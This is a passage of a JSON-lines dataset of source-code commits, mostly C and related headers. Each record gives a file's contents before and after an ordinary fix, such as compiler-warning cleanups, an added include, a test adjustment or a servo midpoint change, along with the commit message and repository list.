MSVC\n#ifndef _DEBUG\n#define NDEBUG\n#endif\n#endif\n\n#endif\n","new_contents":"#ifndef __MORDOR_VERSION_H__\n#define __MORDOR_VERSION_H__\n\n\/\/ OS\n#ifdef _WIN32\n#   define WINDOWS\n#else\n#   define POSIX\n#endif\n#ifdef __CYGWIN__\n#   define WINDOWS\n#   define CYGWIN\n#endif\n\n#if defined(linux) || defined(__linux__)\n#   define LINUX\n#endif\n\n#ifdef __APPLE__\n#   define OSX\n#   ifndef BSD\n#       define BSD\n#   endif\n#endif\n\n#ifdef __FreeBSD__\n#   define FREEBSD\n#   define BSD\n#endif\n\n#ifdef WINDOWS\n#define MORDOR_NATIVE(win32, posix) win32\n#else\n#define MORDOR_NATIVE(win32, posix) posix\n#endif\n\n\/\/ Architecture\n#ifdef _MSC_VER\n#   define MSVC\n#   ifdef _M_X64\n#       define X86_64\n#   elif defined(_M_IX86)\n#       define X86\n#   endif\n#endif\n\n#ifdef __GNUC__\n#   define GCC\n#   ifdef __x86_64\n#       define X86_64\n#   elif defined(i386)\n#       define X86\n#   elif defined(__ppc__)\n#       define PPC\n#   elif defined(__arm__)\n#       define ARM\n#   endif\n#endif\n\n#ifdef MSVC\n#   ifndef _DEBUG\n#       ifndef NDEBUG\n#           define NDEBUG\n#       endif\n#   endif\n#endif\n\n#endif\n","subject":"Fix compiler warning in release","message":"Fix compiler warning in release\n\nFix long standing warning that appears multiple time in Stash\nrelease build:\n\nwarning C4005: 'NDEBUG' : macro redefinition\n\n(example:\nhttp:\/\/build.dechocorp.com\/job\/sync-release\/arch=i386,dist=windows\/2043\/console)\n\nIf NDEBUG is already defined there is no need to define it\n\nChange-Id: I1573a99f0908e879642c3c33ee9f0dda22e885d1\nSigned-off-by: Andrew Skowronski <96924f7a4dbe24093bb2da18f50a76703cb4a362@mozy.com>\nReviewed-on: https:\/\/gerrit.dechocorp.com\/37185\nReviewed-by: Jeff Tulley <85f87182ef9726107fb7bae84686c93fca64c9ab@vmware.com>\nReviewed-by: Jenkins <49695b0f9c673fd73dab0ff3f84b5ced9302cc6a@mozy.com>\n","lang":"C","license":"bsd-3-clause","repos":"mtanski\/mordor,mozy\/mordor,adfin\/mordor,mtanski\/mordor,adfin\/mordor,mozy\/mordor,mtanski\/mordor,adfin\/mordor,mozy\/mordor"}
{"commit":"eae126f18257b9095732eb7d174b777c12ec82ab","old_file":"string_hash.h","new_file":"string_hash.h","old_contents":"#include <string.h>\n#include <stdint.h>\n\n\/**\n * Efficient string hash function.\n *\/\nstatic uint32_t string_hash(const char *str)\n{\n\tuint32_t hash = 0;\n\tint32_t c;\n\twhile ((c = *str++))\n\t{\n\t\thash = c + (hash << 6) + (hash << 16) - hash;\n\t}\n\treturn hash;\n}\n\n\/**\n * Test two strings for equality.\n *\/\nstatic int string_compare(const char *str1, const char *str2)\n{\n\tif (str1 == str2)\n\t{\n\t\treturn 1;\n\t}\n\tif (str2 == NULL) \n\t{\n\t\treturn 0;\n\t}\n\treturn strcmp(str1, str2) == 0;\n}\n","new_contents":"#include <string.h>\n#include <stdint.h>\n\n\/**\n * Efficient string hash function.\n *\/\n__attribute__((unused))\nstatic uint32_t string_hash(const char *str)\n{\n\tuint32_t hash = 0;\n\tint32_t c;\n\twhile ((c = *str++))\n\t{\n\t\thash = c + (hash << 6) + (hash << 16) - hash;\n\t}\n\treturn hash;\n}\n\n\/**\n * Test two strings for equality.\n *\/\n__attribute__((unused))\nstatic int string_compare(const char *str1, const char *str2)\n{\n\tif (str1 == str2)\n\t{\n\t\treturn 1;\n\t}\n\tif (str2 == NULL) \n\t{\n\t\treturn 0;\n\t}\n\treturn strcmp(str1, str2) == 0;\n}\n","subject":"Mark string functions unused, in case the header is included in files that only use one of them.","message":"Mark string functions unused, in case the header is included in files that only use one of them.\n\n\n\ngit-svn-id: f6517e426f81db5247881cd92f7386583ace04fa@30387 72102866-910b-0410-8b05-ffd578937521\n","lang":"C","license":"mit","repos":"crontab\/libobjc2,skudryas\/gnustep-libobjc2,skudryas\/gnustep-libobjc2,crontab\/libobjc2"}
{"commit":"85516563f7f82cc1f82a680de48f02a1e6426e77","old_file":"samples\/C\/code.c","new_file":"samples\/C\/code.c","old_contents":"","new_contents":"\/*A C calculator...of sorts*\/\n\/* An attempt at a C calculator from stuff read so far *\/\n\n#include<stdio.h>\n\n\/* function for addition *\/\n\nint add(int input1, int input2)\n{\n  int result;\n  \n  result = input1 + input2;\n  \n  return result;\n}\n\n\/* function for multiplication *\/\n\nint multi(int input1, int input2)\n{\n  int result;\n  \n  result = input1 * input2;\n\n  return result;\n}\n\n\/* function for subtraction *\/\n\nint sub(int input1, int input2)\n{\n  int result;\n  \n  result = input1 - input2;\n\n  return result;\n}\n\n\/* division function *\/\n\nfloat div(float input1, float input2)\n{\n  float result;\n  \n  result = input1 \/ input2;\n\n  return result;\n}\n\nint main()\n{\n  int a, b, output;\n  float output2;\n  char myinput;\n\n  printf(\"Please enter a number\\n\");\n  scanf(\"%d\", &a);\n  printf(\"Enter another number\\n\");\n  scanf(\"%d\", &b);\n  printf(\"What calculation would you like to perform?\\n\");\n  printf(\"a) addition\\n\");\n  printf(\"b) mulitplication\\n\");\n  printf(\"c) subtraction\\n\");\n  printf(\"d) division\\n\");\n  scanf(\" %c\", &myinput);\n\n  \/* switch statement to run certain calculations *\/\n  switch(myinput)\n  {\n    case 'a':\n      {\n        printf(\"Adding the numbers entered...\\n\");\n        output = add(a, b);\n        printf(\"The sum of %d and %d is: %d\\n\", a, b, output);\n        break;\n      }\n    case 'b':\n      {\n        printf(\"Multiplication chosen\\n\");\n        output = multi(a, b);\n        printf(\"Multiplying %d and %d equals %d\\n\", a, b , output);\n        break;\n      }\n    case 'c':\n      {\n        printf(\"Subtracting %d from %d\\n\", a, b);\n        output = sub(a, b);\n        printf(\"%d minus %d is: %d\\n\", a, b, output);\n        break;\n      }\n    case 'd':\n      {\n        printf(\"Divison program running...\\n\");\n        output2 = div(a, b);\n        printf(\"Division of %d by %d equals %f\\n\", a, b, output2);\n        break;\n      }\n    default:\n      {\n        printf(\"Invalid entry\\n\");\n        printf(\"Please run again\\n\");\n      }\n  }\n  \n  return 0;\n}\n","subject":"Add another sample file for C","message":"Add another sample file for C\n","lang":"C","license":"mit","repos":"github\/linguist,jtbandes\/linguist,erkyrath\/linguist,christop\/linguist,tschf\/linguist,meunierfrederic\/octocatlinguist,ppaulweber\/github-linguist,meunierfrederic\/octocatlinguist,JJ\/linguist,github\/linguist,ppaulweber\/github-linguist,github\/linguist,PsichiX\/linguist,osorgin\/linguist,sebgod\/linguist,R4PaSs\/linguist,JJ\/linguist,sebgod\/linguist,MahmoudFayed\/linguist,erkyrath\/linguist,stanhu\/linguist,yyx990803\/linguist,JJ\/linguist,pchaigno\/linguist,erkyrath\/linguist,stanhu\/linguist,tschf\/linguist,sebgod\/linguist,yyx990803\/linguist,pchaigno\/linguist,PsichiX\/linguist,christop\/linguist,pchaigno\/linguist,MahmoudFayed\/linguist,pchaigno\/linguist,erkyrath\/linguist,sebgod\/linguist,MostAwesomeDude\/linguist,jtbandes\/linguist,osorgin\/linguist,yyx990803\/linguist,stanhu\/linguist,R4PaSs\/linguist,JJ\/linguist,MostAwesomeDude\/linguist,stanhu\/linguist,yyx990803\/linguist,mwpastore\/linguist,mwpastore\/linguist,meunierfrederic\/octocatlinguist,github\/linguist"}
{"commit":"fd0197d26208b896caa958cc1780e8016f439711","old_file":"arch\/mips\/qemu\/q-setup.c","new_file":"arch\/mips\/qemu\/q-setup.c","old_contents":"#include <linux\/init.h>\n#include <asm\/io.h>\n#include <asm\/time.h>\n\n#define QEMU_PORT_BASE 0xb4000000\n\nstatic void __init qemu_timer_setup(struct irqaction *irq)\n{\n\t\/* set the clock to 100 Hz *\/\n\toutb_p(0x34,0x43);\t\t\/* binary, mode 2, LSB\/MSB, ch 0 *\/\n\toutb_p(LATCH & 0xff , 0x40);\t\/* LSB *\/\n\toutb(LATCH >> 8 , 0x40);\t\/* MSB *\/\n\tsetup_irq(0, irq);\n}\n\nvoid __init plat_setup(void)\n{\n\tset_io_port_base(QEMU_PORT_BASE);\n\tboard_timer_setup = qemu_timer_setup;\n}\n","new_contents":"#include <linux\/init.h>\n#include <asm\/io.h>\n#include <asm\/time.h>\n\n#define QEMU_PORT_BASE 0xb4000000\n\nconst char *get_system_type(void)\n{\n\treturn \"Qemu\";\n}\n\nstatic void __init qemu_timer_setup(struct irqaction *irq)\n{\n\t\/* set the clock to 100 Hz *\/\n\toutb_p(0x34,0x43);\t\t\/* binary, mode 2, LSB\/MSB, ch 0 *\/\n\toutb_p(LATCH & 0xff , 0x40);\t\/* LSB *\/\n\toutb(LATCH >> 8 , 0x40);\t\/* MSB *\/\n\tsetup_irq(0, irq);\n}\n\nvoid __init plat_setup(void)\n{\n\tset_io_port_base(QEMU_PORT_BASE);\n\tboard_timer_setup = qemu_timer_setup;\n}\n","subject":"Implement get_system_type() for Qemu to get procfs-enabled kernels to link.","message":"Implement get_system_type() for Qemu to get procfs-enabled kernels to\nlink.\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"526ffa6e0d2ec659f847c05c5e0bd9eeec5c6a7c","old_file":"src\/duk_selftest.h","new_file":"src\/duk_selftest.h","old_contents":"\/*\n *  Selftest code\n *\/\n\n#ifndef DUK_SELFTEST_H_INCLUDED\n#define DUK_SELFTEST_H_INCLUDED\n\nDUK_INTERNAL_DECL void duk_selftest_run_tests(void);\n\n#endif  \/* DUK_SELFTEST_H_INCLUDED *\/\n","new_contents":"\/*\n *  Selftest code\n *\/\n\n#ifndef DUK_SELFTEST_H_INCLUDED\n#define DUK_SELFTEST_H_INCLUDED\n\n#if defined(DUK_USE_SELF_TESTS)\nDUK_INTERNAL_DECL void duk_selftest_run_tests(void);\n#endif\n\n#endif  \/* DUK_SELFTEST_H_INCLUDED *\/\n","subject":"Fix compile warning when selftests disabled","message":"Fix compile warning when selftests disabled\n","lang":"C","license":"mit","repos":"jmptrader\/duktape,zeropool\/duktape,nivertech\/duktape,reqshark\/duktape,kphillisjr\/duktape,daimajia\/duktape,sloth4413\/duktape,kphillisjr\/duktape,eddieh\/duktape,haosu1987\/duktape,sloth4413\/duktape,sloth4413\/duktape,pombredanne\/duktape,skomski\/duktape,pombredanne\/duktape,skomski\/duktape,thurday\/duktape,chenyaqiuqiu\/duktape,nivertech\/duktape,rwaldron\/duktape,sloth4413\/duktape,daimajia\/duktape,markand\/duktape,nivertech\/duktape,haosu1987\/duktape,reqshark\/duktape,zeropool\/duktape,harold-b\/duktape,chenyaqiuqiu\/duktape,kphillisjr\/duktape,jmptrader\/duktape,harold-b\/duktape,thurday\/duktape,harold-b\/duktape,reqshark\/duktape,zeropool\/duktape,thurday\/duktape,skomski\/duktape,kphillisjr\/duktape,svaarala\/duktape,daimajia\/duktape,eddieh\/duktape,skomski\/duktape,sloth4413\/duktape,chenyaqiuqiu\/duktape,daimajia\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,thurday\/duktape,pombredanne\/duktape,thurday\/duktape,pombredanne\/duktape,markand\/duktape,thurday\/duktape,pombredanne\/duktape,jmptrader\/duktape,thurday\/duktape,eddieh\/duktape,tassmjau\/duktape,chenyaqiuqiu\/duktape,markand\/duktape,haosu1987\/duktape,skomski\/duktape,svaarala\/duktape,reqshark\/duktape,skomski\/duktape,harold-b\/duktape,markand\/duktape,skomski\/duktape,pombredanne\/duktape,jmptrader\/duktape,kphillisjr\/duktape,haosu1987\/duktape,jmptrader\/duktape,tassmjau\/duktape,sloth4413\/duktape,tassmjau\/duktape,haosu1987\/duktape,eddieh\/duktape,rwaldron\/duktape,rwaldron\/duktape,harold-b\/duktape,markand\/duktape,reqshark\/duktape,zeropool\/duktape,svaarala\/duktape,thurday\/duktape,chenyaqiuqiu\/duktape,tassmjau\/duktape,reqshark\/duktape,zeropool\/duktape,haosu1987\/duktape,harold-b\/duktape,nivertech\/duktape,nivertech\/duktape,kphillisjr\/duktape,harold-b\/duktape,reqshark\/duktape,svaarala\/duktape,pombredanne\/duktape,nivertech\/duktape,svaarala\/duktape,tassmjau\/duktape,markand\/duktape,zeropool\/duktape,pombredanne\/duktape,chenyaqiuqiu\/duktape,skomski\/duktape,daimajia\/duktape,tassmjau\/duktape,svaarala\/duktape,zeropool\/duktape,nivertech\/duktape,pombredanne\/duktape,haosu1987\/duktape,haosu1987\/duktape,rwaldron\/duktape,tassmjau\/duktape,thurday\/duktape,kphillisjr\/duktape,chenyaqiuqiu\/duktape,jmptrader\/duktape,tassmjau\/duktape,rwaldron\/duktape,eddieh\/duktape,svaarala\/duktape,jmptrader\/duktape,reqshark\/duktape,markand\/duktape,thurday\/duktape,jmptrader\/duktape,eddieh\/duktape,nivertech\/duktape,jmptrader\/duktape,kphillisjr\/duktape,harold-b\/duktape,tassmjau\/duktape,nivertech\/duktape,svaarala\/duktape,markand\/duktape,reqshark\/duktape,kphillisjr\/duktape,eddieh\/duktape,svaarala\/duktape,nivertech\/duktape,eddieh\/duktape,harold-b\/duktape,pombredanne\/duktape,chenyaqiuqiu\/duktape,zeropool\/duktape,sloth4413\/duktape,zeropool\/duktape,eddieh\/duktape,rwaldron\/duktape,daimajia\/duktape,zeropool\/duktape,sloth4413\/duktape,haosu1987\/duktape,sloth4413\/duktape,haosu1987\/duktape,kphillisjr\/duktape,markand\/duktape,eddieh\/duktape,sloth4413\/duktape,skomski\/duktape,chenyaqiuqiu\/duktape,reqshark\/duktape,jmptrader\/duktape,tassmjau\/duktape,markand\/duktape,skomski\/duktape"}
{"commit":"c6a31b64d9f980ef3e26bd26e4688788c80d310b","old_file":"tests\/regression\/57-floats\/12-subtraction_assignment.c","new_file":"tests\/regression\/57-floats\/12-subtraction_assignment.c","old_contents":"\/\/ PARAM: --enable ana.float.interval\n#include <assert.h>\n\n\/\/ previously failed in line 7 with \"exception Invalid_argument(\"Cilfacade.get_ikind: non-integer type double \")\"\n\/\/(same error as in sv-comp: float-newlib\/float_req_bl_0220a.c)\n\/\/ similar error also occured in the additional examples when branching on a float argument\nint main()\n{\n  double z;\n\n  z = 1 - 1.0;\n\n  assert(z == 0.); \/\/ SUCCESS\n\n  if (0.)\n    ;\n\n  if (0 == (0. + 1.))\n    ;\n  assert(0); \/\/ FAIL\n}\n","new_contents":"\/\/ PARAM: --enable ana.float.interval\n#include <assert.h>\n\n\/\/ previously failed in line 7 with \"exception Invalid_argument(\"Cilfacade.get_ikind: non-integer type double \")\"\n\/\/(same error as in sv-comp: float-newlib\/float_req_bl_0220a.c)\n\/\/ similar error also occurred in the additional examples when branching on a float argument\nint main()\n{\n  double z;\n  int x;\n\n  z = 1 - 1.0;\n\n  assert(z == 0.); \/\/ SUCCESS\n\n  if (0.) { x = z;}\n\n  if (0 == (0. + 1.)) { x = z;}\n\n  assert(0); \/\/ FAIL\n}\n","subject":"Modify test 57\/12 to actually trigger the issue","message":"Modify test 57\/12 to actually trigger the issue\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"9efa56dd26e0ec05823bd367e69e21da3c35af2b","old_file":"rts\/RtsSymbols.h","new_file":"rts\/RtsSymbols.h","old_contents":"\/* -----------------------------------------------------------------------------\n *\n * (c) The GHC Team, 2000-2015\n *\n * RTS Symbols\n *\n * ---------------------------------------------------------------------------*\/\n\n#ifndef RTS_SYMBOLS_H\n#define RTS_SYMBOLS_H\n\n\n#ifdef LEADING_UNDERSCORE\n#define MAYBE_LEADING_UNDERSCORE_STR(s) (\"_\" s)\n#else\n#define MAYBE_LEADING_UNDERSCORE_STR(s) (s)\n#endif\n\ntypedef struct _RtsSymbolVal {\n    const char   *lbl;\n    void   *addr;\n} RtsSymbolVal;\n\n\nextern  RtsSymbolVal rtsSyms[];\n\n#endif \/* RTS_SYMBOLS_H *\/\n","new_contents":"\/* -----------------------------------------------------------------------------\n *\n * (c) The GHC Team, 2000-2015\n *\n * RTS Symbols\n *\n * ---------------------------------------------------------------------------*\/\n\n#ifndef RTS_SYMBOLS_H\n#define RTS_SYMBOLS_H\n\n#include \"ghcautoconf.h\"\n\n#ifdef LEADING_UNDERSCORE\n#define MAYBE_LEADING_UNDERSCORE_STR(s) (\"_\" s)\n#else\n#define MAYBE_LEADING_UNDERSCORE_STR(s) (s)\n#endif\n\ntypedef struct _RtsSymbolVal {\n    const char   *lbl;\n    void   *addr;\n} RtsSymbolVal;\n\n\nextern  RtsSymbolVal rtsSyms[];\n\n#endif \/* RTS_SYMBOLS_H *\/\n","subject":"Fix the DYNAMIC_GHC_PROGRAMS=NO build on Mac\/Windows","message":"Fix the DYNAMIC_GHC_PROGRAMS=NO build on Mac\/Windows\n\nLEADING_UNDERSCORE is defined in a header file, so we need to #include\nthat file where we use LEADING_UNDERSCORE.\n\nReviewed By: austin\n\nDifferential Revision: https:\/\/phabricator.haskell.org\/D1382\n","lang":"C","license":"bsd-3-clause","repos":"sgillespie\/ghc,sgillespie\/ghc,sgillespie\/ghc,vikraman\/ghc,shlevy\/ghc,ezyang\/ghc,sdiehl\/ghc,oldmanmike\/ghc,sgillespie\/ghc,da-x\/ghc,sdiehl\/ghc,mcschroeder\/ghc,vikraman\/ghc,da-x\/ghc,elieux\/ghc,AlexanderPankiv\/ghc,snoyberg\/ghc,shlevy\/ghc,GaloisInc\/halvm-ghc,ezyang\/ghc,snoyberg\/ghc,tjakway\/ghcjvm,tjakway\/ghcjvm,vTurbine\/ghc,snoyberg\/ghc,da-x\/ghc,shlevy\/ghc,sdiehl\/ghc,gridaphobe\/ghc,snoyberg\/ghc,GaloisInc\/halvm-ghc,vTurbine\/ghc,nushio3\/ghc,olsner\/ghc,oldmanmike\/ghc,oldmanmike\/ghc,vTurbine\/ghc,nushio3\/ghc,ezyang\/ghc,ezyang\/ghc,mettekou\/ghc,snoyberg\/ghc,oldmanmike\/ghc,snoyberg\/ghc,elieux\/ghc,elieux\/ghc,ezyang\/ghc,mcschroeder\/ghc,GaloisInc\/halvm-ghc,mettekou\/ghc,oldmanmike\/ghc,oldmanmike\/ghc,tjakway\/ghcjvm,gridaphobe\/ghc,tjakway\/ghcjvm,vikraman\/ghc,snoyberg\/ghc,nushio3\/ghc,GaloisInc\/halvm-ghc,shlevy\/ghc,mettekou\/ghc,vikraman\/ghc,elieux\/ghc,AlexanderPankiv\/ghc,sgillespie\/ghc,GaloisInc\/halvm-ghc,nushio3\/ghc,sgillespie\/ghc,nushio3\/ghc,da-x\/ghc,ezyang\/ghc,sdiehl\/ghc,tjakway\/ghcjvm,gridaphobe\/ghc,olsner\/ghc,oldmanmike\/ghc,mcschroeder\/ghc,vikraman\/ghc,ezyang\/ghc,vikraman\/ghc,vTurbine\/ghc,da-x\/ghc,nushio3\/ghc,da-x\/ghc,sdiehl\/ghc,olsner\/ghc,mettekou\/ghc,gridaphobe\/ghc,shlevy\/ghc,vTurbine\/ghc,sdiehl\/ghc,mettekou\/ghc,da-x\/ghc,GaloisInc\/halvm-ghc,vTurbine\/ghc,shlevy\/ghc,sdiehl\/ghc,gridaphobe\/ghc,elieux\/ghc,mcschroeder\/ghc,AlexanderPankiv\/ghc,tjakway\/ghcjvm,AlexanderPankiv\/ghc,gridaphobe\/ghc,olsner\/ghc,vikraman\/ghc,AlexanderPankiv\/ghc,elieux\/ghc,olsner\/ghc,mettekou\/ghc,elieux\/ghc,gridaphobe\/ghc,tjakway\/ghcjvm,mcschroeder\/ghc,olsner\/ghc,mcschroeder\/ghc,sgillespie\/ghc,AlexanderPankiv\/ghc,vTurbine\/ghc,mettekou\/ghc,mcschroeder\/ghc,AlexanderPankiv\/ghc,olsner\/ghc,shlevy\/ghc,GaloisInc\/halvm-ghc,nushio3\/ghc"}
{"commit":"be7cae3c5a8571faa97ded3112f339f400d9a2ec","old_file":"TWTValidation\/TWTValidation.h","new_file":"TWTValidation\/TWTValidation.h","old_contents":"\/\/\n\/\/  TWTValidation.h\n\/\/  TWTValidation\n\/\/\n\/\/  Created by Prachi Gauriar on 3\/28\/2014.\n\/\/  Copyright (c) 2014 Two Toasters, LLC. All rights reserved.\n\/\/\n\n@import Foundation;\n\n#import <TWTValidation\/TWTValidator.h>\n\n#import <TWTValidation\/TWTBlockValidator.h>\n\n#import <TWTValidation\/TWTCompoundValidator.h>\n\n#import <TWTValidation\/TWTValueValidator.h>\n#import <TWTValidation\/TWTNumberValidator.h>\n#import <TWTValidation\/TWTStringValidator.h>\n\n#import <TWTValidation\/TWTValidationErrors.h>\n","new_contents":"\/\/\n\/\/  TWTValidation.h\n\/\/  TWTValidation\n\/\/\n\/\/  Created by Prachi Gauriar on 3\/28\/2014.\n\/\/  Copyright (c) 2014 Two Toasters, LLC. All rights reserved.\n\/\/\n\n@import Foundation;\n\n#import <TWTValidation\/TWTValidator.h>\n#import <TWTValidation\/TWTValidationErrors.h>\n\n#import <TWTValidation\/TWTBlockValidator.h>\n\n#import <TWTValidation\/TWTCompoundValidator.h>\n\n#import <TWTValidation\/TWTValueValidator.h>\n#import <TWTValidation\/TWTNumberValidator.h>\n#import <TWTValidation\/TWTStringValidator.h>\n\n#import <TWTValidation\/TWTCollectionValidator.h>\n#import <TWTValidation\/TWTKeyedCollectionValidator.h>\n#import <TWTValidation\/TWTKeyValuePairValidator.h>\n\n#import <TWTValidation\/TWTValidatingObject.h>","subject":"Add new classes to umbrella header","message":"Add new classes to umbrella header\n","lang":"C","license":"mit","repos":"twotoasters\/TWTValidation,twotoasters\/TWTValidation,twotoasters\/TWTValidation"}
{"commit":"7184f9e8ff130e010be0b6db2875d840a2f12edc","old_file":"ext\/redcarpet\/redcarpet.h","new_file":"ext\/redcarpet\/redcarpet.h","old_contents":"#ifndef REDCARPET_H__\n#define REDCARPET_H__\n\n#define RSTRING_NOT_MODIFIED\n#include \"ruby.h\"\n#include <stdio.h>\n\n#ifdef HAVE_RUBY_ENCODING_H\n#\tinclude <ruby\/encoding.h>\n#\tdefine redcarpet_str_new(data, size, enc) rb_enc_str_new(data, size, enc)\n#else\n#\tdefine redcarpet_str_new(data, size, enc) rb_str_new(data, size)\n#endif\n\n#include \"markdown.h\"\n#include \"html.h\"\n\n#define CSTR2SYM(s) (ID2SYM(rb_intern((s))))\n\nvoid Init_redcarpet_rndr();\n\nstruct redcarpet_renderopt {\n\tstruct html_renderopt html;\n\tVALUE link_attributes;\n\tVALUE self;\n\tVALUE base_class;\n#ifdef HAVE_RUBY_ENCODING_H\n\trb_encoding *active_enc;\n#endif\n};\n\nstruct rb_redcarpet_rndr {\n\tstruct sd_callbacks callbacks;\n\tstruct redcarpet_renderopt options;\n};\n\n#endif\n","new_contents":"#ifndef REDCARPET_H__\n#define REDCARPET_H__\n\n#define RSTRING_NOT_MODIFIED\n#include \"ruby.h\"\n#include <stdio.h>\n\n#include <ruby\/encoding.h>\n#define redcarpet_str_new(data, size, enc) rb_enc_str_new(data, size, enc)\n\n#include \"markdown.h\"\n#include \"html.h\"\n\n#define CSTR2SYM(s) (ID2SYM(rb_intern((s))))\n\nvoid Init_redcarpet_rndr();\n\nstruct redcarpet_renderopt {\n\tstruct html_renderopt html;\n\tVALUE link_attributes;\n\tVALUE self;\n\tVALUE base_class;\n\trb_encoding *active_enc;\n};\n\nstruct rb_redcarpet_rndr {\n\tstruct sd_callbacks callbacks;\n\tstruct redcarpet_renderopt options;\n};\n\n#endif\n","subject":"Remove encoding conditionals that are no longer required","message":"Remove encoding conditionals that are no longer required\n\nThese are no longer needed since we don't support Ruby 1.8.x anymore.\n","lang":"C","license":"mit","repos":"emq\/redcarpet,fukayatsu\/redcarpet,be9\/redcarpet,Hacker0x01\/redcarpet,emq\/redcarpet,fukayatsu\/redcarpet,kattybilly\/redcarpet,gitcafe-dev\/redcarpet,liquorburn\/redcarpet,increments\/greenmat,liquorburn\/redcarpet,increments\/greenmat,JuanitoFatas\/redcarpet,Hacker0x01\/redcarpet,kaneshin\/redcarpet,Hacker0x01\/redcarpet,increments\/greenmat,Hacker0x01\/redcarpet,vmg\/redcarpet,fukayatsu\/redcarpet,JuanitoFatas\/redcarpet,be9\/redcarpet,vmg\/redcarpet,JuanitoFatas\/redcarpet,kattybilly\/redcarpet,kaneshin\/redcarpet,increments\/greenmat,emq\/redcarpet,gitcafe-dev\/redcarpet,be9\/redcarpet,liquorburn\/redcarpet,vmg\/redcarpet,gitcafe-dev\/redcarpet,kattybilly\/redcarpet,emq\/redcarpet,fukayatsu\/redcarpet,liquorburn\/redcarpet,be9\/redcarpet,kattybilly\/redcarpet,kaneshin\/redcarpet,kaneshin\/redcarpet,vmg\/redcarpet"}
{"commit":"f9316630a5ecdc69d1e0832f24a6b9abd2b45461","old_file":"server\/tube.c","new_file":"server\/tube.c","old_contents":"#include \"common.h\"\n#include \"tube.h\"\n\nint FdTube;\nFILE *TextTube;\n\nvoid InitTubes(int textTube, int fdTube) {\n    SetCloexec(textTube);\n    SetCloexec(fdTube);\n    TextTube = fdopen(textTube, \"a+\");\n    DieIf(TextTube == 0, \"fdopen\");\n    FdTube = fdTube;\n}\n","new_contents":"#include \"common.h\"\n#include \"tube.h\"\n\nint FdTube;\nFILE *TextTube;\n\nvoid InitTubes(int textTube, int fdTube) {\n    SetCloexec(textTube);\n    SetCloexec(fdTube);\n    TextTube = fdopen(textTube, \"a+\");\n    setlinebuf(TextTube);\n    DieIf(TextTube == 0, \"fdopen\");\n    FdTube = fdTube;\n}\n","subject":"Put TextTube to line buffer mode","message":"Server: Put TextTube to line buffer mode\n","lang":"C","license":"bsd-2-clause","repos":"ke7ofi\/elvish,elves\/elvish,elves\/elvish,beni55\/elvish,elves\/elvish,CodyGuo\/elvish,CodyGuo\/elvish,elves\/elvish,beni55\/elvish,elves\/elvish,ke7ofi\/elvish"}
{"commit":"396a83183195021106acb9262bd7b56242101f20","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(Response)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(HD_Unknown)\nSLTM(HD_Lost)\n#define HTTPH(a, b, c, d, e, f, g)\tSLTM(b)\n#include \"http_headers.h\"\n#undef HTTPH\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(HandlingPass)\nSLTM(HandlingPipe)\nSLTM(Request)\nSLTM(Response)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(HD_Unknown)\nSLTM(HD_Lost)\n#define HTTPH(a, b, c, d, e, f, g)\tSLTM(b)\n#include \"http_headers.h\"\n#undef HTTPH\n","subject":"Add shmlog tags for pipe and pass handling","message":"Add shmlog tags for pipe and pass handling\n\n\ngit-svn-id: 7d4b18ab7d176792635d6a7a77dd8cbbea8e8daa@131 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,ssm\/pkg-varnish,ssm\/pkg-varnish,CartoDB\/Varnish-Cache,ssm\/pkg-varnish"}
{"commit":"6c02e1f26430e9fdc68f04c974d49b02816b40a5","old_file":"arduino\/OpenROV\/Motors.h","new_file":"arduino\/OpenROV\/Motors.h","old_contents":"#ifndef __MOTORS_H_\n#define __MOTORS_H_\n\n#include <Servo.h>\n\n#define MIDPOINT 128\n\nclass Motors {\n  private:\n    Servo port, vertical, starbord;\n    int port_pin, vertical_pin, starbord_pin;\n    \n  public:\n  \n    Motors(int p_pin, int v_pin, int s_pin);\n    void reset();\n    void go(int p, int v, int s);\n    void stop();\n    \n};\n\n#endif\n","new_contents":"#ifndef __MOTORS_H_\n#define __MOTORS_H_\n\n#include <Servo.h>\n\n#define MIDPOINT 90\n\nclass Motors {\n  private:\n    Servo port, vertical, starbord;\n    int port_pin, vertical_pin, starbord_pin;\n    \n  public:\n  \n    Motors(int p_pin, int v_pin, int s_pin);\n    void reset();\n    void go(int p, int v, int s);\n    void stop();\n    \n};\n\n#endif\n","subject":"Set MIDPOINT to 90 instead of 128 (servo lib goes from 0 to 180)","message":"Set MIDPOINT to 90 instead of 128 (servo lib goes from 0 to 